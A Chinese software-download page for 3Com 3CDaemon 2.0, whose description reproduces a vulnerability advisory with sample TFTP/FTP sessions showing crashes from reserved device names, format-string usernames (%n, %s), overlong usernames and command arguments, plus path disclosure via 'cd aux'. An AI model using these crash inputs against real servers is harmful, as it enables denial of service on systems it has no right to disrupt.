西西软件园多重安全检测下载网站、值得信赖的软件下载站!
西西首页 常用软件 软件下载 安卓软件 游戏下载 安卓游戏 MAC应用 驱动下载 安卓电视
系统工具网络工具媒体工具图形图像聊天工具应用软件编程开发手机软件安卓应用电脑安全字体素材

3COM 3CDaemon 2.0 汉化免安装版

  • 3COM 3CDaemon2.0 汉化免安装版
  • 软件大小:241KB
  • 更新时间:2010-10-01 04:47
  • 软件语言:中文
  • 软件厂商:
  • 软件类别:汉化软件 / 免费软件 / FTP 工具
  • 软件等级:4级
  • 应用平台:WinXP, WinAll
  • 官方网站:http://www.cr173.com/
好评:50%
坏评:50%

本类精品

软件介绍

不用我说了吧,3com的这款东西还是很有名很不错滴~~~3CDaemon是一款免费的集成了TFTP、FTP和SYSLOG功能的应用程序。
作用:FTP,TFTP,SYSLOG服务器,TFTP客户端

3CDaemon存在多个安全问题,远程攻击者可以利用这些漏洞进行拒绝服务、格式串及缓冲区溢出等攻击。

1、TFTP保留设备名拒绝服务攻击:

提交类似如下的请求,可导致TFTP服务程序挂起:

D:\WINDOWS\system32>tftp -i 192.168.0.1 get prn
The 3CDaemon will be crashed with some msgs like
"Microsoft Visual C++ Runtime library"
"Runtime Error!"
"Program : C:\Program Files\3Com\3CDaemon\3CDaemon.exe "
"abnormal program termination".

2、FTP用户名存在格式串问题:

提交包含格式串字符作为用户名数据,可导致守护程序崩溃:

H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %n
Connection closed by remote host.

OR:
H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %s
331 User name ok, need password
Password:[anythinghere]
530 Login access denied
Login failed.
ftp>

3、FTP超长用户名缓冲区溢出

由于对用户名缺少正确边界缓冲区检查,提交超长用户名可导致缓冲区溢出:

D:\WINDOWS\system32>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)):
501 Invalid or missing parameters
Login failed.
ftp> user AAA..[about 241 A here]...AAAAA
Connection closed by remote host.

4、多个FTP命令超长参数缓冲区溢出:

cd,send,ls,,put,delete,rename,rmdir,literal,stat,CWD等FTP命令对参数缺少充分边界检查,提交超长字符串作为命令参数可导致缓冲区溢出:

ftp> cd AAA..[about 398 A here]...AAAAA
Connection closed by remote host.
ftp>

ftp> ls AAA..[about 247 A here]...AAAAA
200 PORT command successful.
Connection closed by remote host.

ftp> put 1.txt AAA..[about 247 A here]...AAAAA
200 PORT command successful.
532 Need account for storing files
Connection closed by remote host.

5、多个FTP命令存在格式串问题

提交格式字符串作为参数,可导致程序崩溃。

6、多个FTP命令包设备名信息泄露问题

请求保留设备名可导致返回程序安装路径信息:

ftp> cd aux
550 aux : C:/3cdaemon/aux is not a directory!
ftp> cd lpt1
550 lpt1 : C:/3cdaemon/lpt1 is not a directory!


受影响系统:
3Com 3CDaemon 2.0 revision 10
哈,看来存在不少漏洞,不建议下载。

软件截图

3COM 3CDaemon 2.0 汉化免安装版

    其他版本下载

    热门评论

    最新评论

    第 2 楼 河北张家口张家口教育学院 网友 客人 发表于: 2013/11/9 15:14:44
    TFTP服务器、FTP服务器、Syslog服务器、FTP客户机

    支持( 0 ) 盖楼(回复)

    第 1 楼 黑龙江省哈尔滨市 网友 客人 发表于: 2012/2/3 16:35:00
    3CDaemon是一种网络工具软件,集成了TFTP、FTP等功能。具体功能下载个试试就知道了。

    支持( 0 ) 盖楼(回复)

    发表评论 查看所有评论(2)

    昵称:
    表情: 高兴 可 汗 我不要 害羞 好 下下下 送花 屎 亲亲
    字数: 0/500 (您的评论需要经过审核才能显示)

    下载帮助下载帮助西西破解版软件均来自互联网, 如有侵犯您的版权, 请与我们联系。

    TOP
    软件下载